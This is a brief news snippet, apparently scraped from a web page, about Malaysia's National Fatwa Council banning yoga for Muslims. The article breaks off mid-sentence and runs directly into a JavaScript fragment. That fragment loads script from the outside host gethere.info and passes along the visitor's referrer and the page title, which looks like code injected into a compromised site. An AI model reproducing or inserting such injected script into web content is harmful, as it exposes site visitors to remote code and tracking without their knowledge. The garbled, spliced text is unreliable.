Malaysia Islamic body bans yoga for Muslims – International Herald Tribune

The body says the globally popular practice of yoga has elements of Hindu religion that could corrupt Muslims. Yoga originated in India. Malaysia’s National Fatwa Council chairman Abdul Shukor Husin says yoga involves not just physical exercise but …s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;